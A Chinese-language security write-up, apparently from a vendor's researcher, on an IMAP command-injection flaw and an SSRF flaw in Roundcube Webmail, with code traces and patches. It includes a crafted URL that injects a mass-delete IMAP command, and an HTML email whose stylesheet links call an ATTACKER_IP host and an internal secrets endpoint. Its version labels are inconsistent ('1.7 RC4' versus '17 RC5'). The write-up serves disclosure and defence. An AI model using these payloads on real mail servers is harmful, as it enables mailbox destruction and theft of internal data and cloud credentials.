Roundcube IMAP 命令注入与 SSRF 漏洞
深入剖析在一次源代码审查中于 Roundcube Webmail(< 1.6.14、1.5.14、1.7 RC4)中发现的两个严重漏洞。OVE-2026-8 由于缺少 CRLF 过滤,允许已认证的攻击者通过 _filter 参数注入任意 IMAP 命令。OVE-2026-9 通过滥用 CSS 代理机制实现服务器端请求伪造(SSRF),从而可访问内部网络资源和云元数据。
OVE-2026-8 & OVE-2026-9
Roundcube Webmail:通过 CSS 代理实现 IMAP 命令注入与 SSRF
2026 年 3 月 24 日 · CVSS 8.1 High · CVSS 6.8 Medium · Roundcube < 1.6.14、1.5.14、17 RC5
| CVE ID | CVSS | 受影响版本 | 已修复版本 |
|---|---|---|---|
| OVE-2026-8 | 8.1 High | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
| OVE-2026-9 | 6.8 Medium | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
更新:这些漏洞最初由 Ostorlab 以内部标识符 OVE-2026-8 和 OVE-2026-9 进行跟踪,随后于 4 月 3 日在 CVE 数据库中发布,编号分别为 CVE-2026-35538(IMAP 命令注入)和 CVE-2026-35540(通过 CSS 代理实现的 SSRF)。
故事的开端
它的开始方式与大多数审计一样——从一次 git clone 开始。在 Ostorlab,我一直在研究 Roundcube 中一个涉及 SVG <animate> 标签的已知存储型 XSS 漏洞——分析该 CVE、追踪过滤器逻辑,并构建一个可用的漏洞利用。这项工作把我引向了代码库的更深处。原本只是针对特定 CVE 的研究,逐渐演变成了一次更广泛的源代码审查,而这发生在 Roundcube 1.5.14 / 1.6.14 / 1.7 RC5 发布前一周。
我已经不再寻找任何特定的东西。我只是在阅读代码、追踪数据流,顺着用户输入从 HTTP 参数一直追到它最终到达的地方。有两条路径引起了我的注意:一条从搜索过滤参数直接通向原始的 IMAP 套接字,另一条则把 Roundcube 的 CSS 渲染流水线变成了用于发起内部网络请求的开放代理。
这两个发现都通过 HackerOne 提交给了 Roundcube 安全团队。两者都被判定为重复。大约一周后发布的新版本修复了这两个问题。本文按照我发现它们时的样子记录了这两个发现:存在漏洞的代码、利用链以及修复方案。
IMAP 命令注入

通过 CSS 代理实现的服务器端请求伪造

OVE-2026-8:通过 _filter 参数实现的 IMAP 命令注入
汇聚点(Sink)
当 Roundcube 用户搜索其邮箱时,应用会从若干 URL 参数组装出一条 IMAP SEARCH 命令。其中之一便是 _filter——一个用于缩小搜索范围的预定义关键字,如 UNSEEN 或 FLAGGED。该值从 GET 请求中读取,最终被拼接进一条原始的 IMAP 命令字符串,并被直接写入 IMAP 服务器的 TCP 套接字。
问题很简单:如果 _filter 包含的不是搜索关键字,而是别的东西,会发生什么?
追踪数据流
我从入口点开始,即 program/actions/mail/search.php 第 45 行:
$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));
get_input_string() 函数会对输入调用 strip_tags()(移除 HTML 标签),然后调用 trim()。这两个函数都不会处理 \r\n 字符。嵌入在参数值中的 CRLF 序列会完整无损地通过这两个函数。
$filter 值在第 58 行流经 search_input(),当它是一个非空且非 ALL 的字符串时,会被原样使用。随后它到达 program/lib/Roundcube/rcube_imap_generic.php 中的 rcube_imap_generic::search(),并在那里被追加到 IMAP 命令参数中:
// rcube_imap_generic.php, line 2010-2019
$criteria = trim($search_str);
$params = '';
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria; // raw concatenation, no escaping
} else {
$params .= 'ALL';
}
$criteria 字符串——其中仍包含任何嵌入的 CRLF——被直接拼接进 $params。它随后被传递给 execute(),后者调用 r_implode()。对于字符串参数,r_implode() 会原样返回该值:
// rcube_imap_generic.php, line 4099-4102
function r_implode($element) {
if (!is_array($element)) {
return $element; // verbatim return — no escaping
}
// ...
}
最后,putLineC() 将组装好的命令写入 IMAP 套接字。它只在字面字符串模式 {N}\r\n 处进行拆分,而不会在裸的 CRLF 序列处拆分。因此,整个有效载荷——合法命令加上被注入的命令——会作为单个数据块一次性写入套接字:
// rcube_imap_generic.php, line 147
$parts = preg_split("/(\{[0-9]+\}\r\n)/m", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
// Bare \r\n does NOT cause a split — the whole string goes in one fwrite()
IMAP 服务器作为一种以行为分隔的协议,会把 \r\n 读作命令终止符,并将其后的内容解析为一条完全独立、由攻击者控制的命令。
讽刺之处:escape() 存在,却从未被调用
代码库中其实已经包含了一个能够中和此类攻击的函数。位于第 4293 行的 rcube_imap_generic::escape() 会检测 CRLF 字符,并将字符串转换为一个 IMAP 字面量({N}\r\n<value>),服务器会将其视为数据而非命令边界:
function escape($string) {
if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
return '"' . addcslashes($string, '\\"') . '"';
}
// CRLF detected → safe literal-string encoding
return sprintf("{%d}\r\n%s", strlen($string), $string);
}
但 search.php 从未对 $filter 调用 escape()。它只对 $search(第 65 行)——即用户的自由文本查询——进行了调用,而 filter 参数走的是一条完全不同的代码路径,并以原始形式到达套接字。
攻击的样子
A single crafted URL is all it takes:
GET /?_task=mail&_action=search&_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)
%0d%0a 解码为 \r\n。在 Roundcube 处理之后,IMAP 服务器收到的是:
A001 UID SEARCH UNSEEN ← legitimate search
A099 STORE 1:* +FLAGS (\Deleted) ← injected command: flag all messages as deleted
来自单个 HTTP 参数的两条独立 IMAP 命令。被注入的命令以已认证用户 IMAP 会话的完整权限运行。
概念验证(PoC)
以下视频演示了完整的利用链——从构造恶意 URL,到观察注入的 IMAP 命令在服务器上执行。
严重程度
任何已认证的 Roundcube 用户都可以通过单个 GET 参数注入任意 IMAP 命令。攻击面包括:
- 邮箱操纵:将所有邮件标记为已删除,在文件夹之间移动邮件
- 数据窃取:使用 FETCH 命令获取邮件内容
- ACL 滥用:使用 SETACL 为攻击者的账户授予对受害者邮箱文件夹的读取权限
- 拒绝服务:使用 EXPUNGE 永久移除邮件,使用 SUBSCRIBE/UNSUBSCRIBE 破坏文件夹的可见性
修复方案
该补丁在搜索字符串到达 IMAP 套接字之前,剥离其中的 CRLF 字符,并将其替换为空格:
// program/actions/mail/search.php
// We pass the filter as-is into IMAP SEARCH command. A newline could be used
// to inject extra commands, so we remove these.
$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
同样的过滤也被应用于 send.php 中的 $message_id,以堵住一条通过草稿邮件处理而产生的类似注入路径:
// program/actions/mail/send.php
$message_id = preg_replace('/[\r\n]+/', '', $message_id);
任何嵌入的 CRLF——注入第二条 IMAP 命令的关键——都会在到达套接字之前被中和。
OVE-2026-9:通过 CSS 代理实现的服务器端请求伪造
汇聚点(Sink)
第二个发现来自代码库中一个完全不同的部分。当 Roundcube 渲染一封 HTML 邮件时,它会重写外部的 CSS <link> 标签,使其指向一个内部代理端点(modcss.php)。这是一项设计选择——它可以防止受害者的浏览器直接获取由攻击者控制的 URL,否则这些 URL 可能被用于追踪。但它带来了一个新问题:现在改由 Roundcube 服务器来发起这个请求。
追踪数据流
当 Roundcube 的 HTML 过滤器(rcube_washtml)在邮件中遇到 <link rel="stylesheet"> 标签时,program/actions/mail/index.php(第 1285 行)中的 washtml_link_callback() 函数会把该 URL 存入 PHP 会话:
// index.php:1283-1292
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
$tempurl = 'tmp-' . md5($attrib['href']) . '.css';
$_SESSION['modcssurls'][$tempurl] = $attrib['href']; // stored as-is, no host validation
$attrib['href'] = $rcmail->url([
'task' => 'utils',
'action' => 'modcss',
'u' => $tempurl,
]);
}
该 URL 被原样存储——唯一的检查,就是它的开头是否为 http:// 或 https://. 没有主机名允许列表,没有 IP 阻止列表,也没有对私有地址或回环地址的任何限制。
当受害者打开邮件并点击“显示远程内容”时,浏览器会请求被重写后的 URL,该请求会命中 modcss.php。处理程序从会话中取回原始 URL,并使用 GuzzleHttp 发起一次服务器端的 HTTP GET:
// modcss.php:40-52
$realurl = $_SESSION['modcssurls'][$url];
if (!preg_match('~^https?://~i', $realurl)) {
$rcmail->output->sendExitError(403, 'Invalid URL'); // only scheme check
}
$client = rcube::get_instance()->get_http_client();
$response = $client->get($realurl); // server fetches arbitrary URL
在会话存储与 HTTP 请求之间,既没有主机名解析,也没有 IP 校验,更没有针对私有网络地址段的任何检查。Roundcube 服务器会欣然去获取 http://169.254.169.254/latest/meta-data/, http://127.0.0.1:3306/, 或任何其他内部 URL。
攻击的样子
攻击者投递一封带有嵌入 <link> 标签的 HTML 邮件:
<html>
<head>
<link rel="stylesheet" href="http://ATTACKER_IP:4000/callback.css">
<link rel="stylesheet" href="http://internal-api:8080/api/secrets">
</head>
<body>Please review the attached quarterly report.</body>
</html>
当受害者查看该邮件并允许远程内容时: 1. Roundcube 将两个 URL 都存入 $_SESSION['modcssurls'] 2. 浏览器为每个 URL 请求 /?_task=utils&_action=modcss&_u=tmp-{md5} 3. modcss.php 在服务器端获取攻击者的监听端和内部 API 端点 4. 攻击者的监听端记录到一次来自 Roundcube 服务器 IP(而非受害者浏览器)的访问 5. 如果内部 API 返回 text/css 或 text/plain,响应体会被代理回浏览器
测试确认
我在一个 Docker 环境中针对 Roundcube 1.6.13 进行了测试,其中有一个仅可从 Docker 网络内部访问的 internal-api 容器。结果如下:
-
回调确认——攻击者的 HTTP 监听端收到了一个来自 Roundcube 容器 IP 的请求,User-Agent 为 GuzzleHttp/7。该请求发自服务器,而非受害者的浏览器。
-
内部服务数据外泄——受害者浏览器无法访问的内部 API 端点,通过 modcss 代理返回了其响应。响应体在浏览器 DevTools 的 Network 选项卡中可见。
-
云元数据——在一个 GCP 实例上,
http://169.254.169.254/返回了一个Content-Type: application/text的响应。由于modcss.php只代理text/css和text/plain内容类型,响应体被拦截了。然而 SSRF 仍然被触发——这一点由 Apache 访问日志中的GuzzleHttp/7user-agent 以及近乎即时的响应时间(证明服务器确实访问到了元数据端点)得到了确认。在使用 IMDSv1 的 AWS 上,元数据端点返回的是text/plain,这将被代理回浏览器。
概念验证(PoC)
以下视频演示了 SSRF 的实际运行——发送一封在 CSS <link> 标签中嵌入了内部 URL 的构造邮件,并观察服务器端发起的请求。
严重程度
任何能够向 Roundcube 邮箱投递邮件的攻击者,都可以通过一次用户交互触发此 SSRF。其影响包括:
- 内部网络侦察:探测绑定在回环地址或 VPC 内部主机上的服务
- 云凭据窃取:AWS IMDSv1 以 text/plain 形式返回 IAM 凭据,会被完整代理
- 数据窃取:任何返回 text/css 或 text/plain 的内部服务,其响应都会被代理到浏览器
修复方案
修复引入了一个新的 rcube_utils::is_local_url() 函数,它使用 mlocati/ip-lib 库,对照私有、回环和链路本地地址段来检查 URL:
// program/lib/Roundcube/rcube_utils.php — new is_local_url() method
// Blocked ranges:
// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
// IPv6: ::1/128, fc00::/7
// Hostnames: localhost, localhost.localdomain
该检查应用于两个位置。首先,当 <link> 标签被存入会话时,本地 URL 现在会在抵达代理之前就被拒绝:
// program/actions/mail/index.php
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
其次,modcss.php 中的 HTTP 客户端现在禁用了重定向,从而防止攻击者通过重定向链绕过 URL 校验:
// program/actions/utils/modcss.php
$client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
参考资料
| 资源 | 链接 |
|---|---|
| Roundcube 1.6.13 与 1.6.14 之间的补丁修复变更 | https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14 |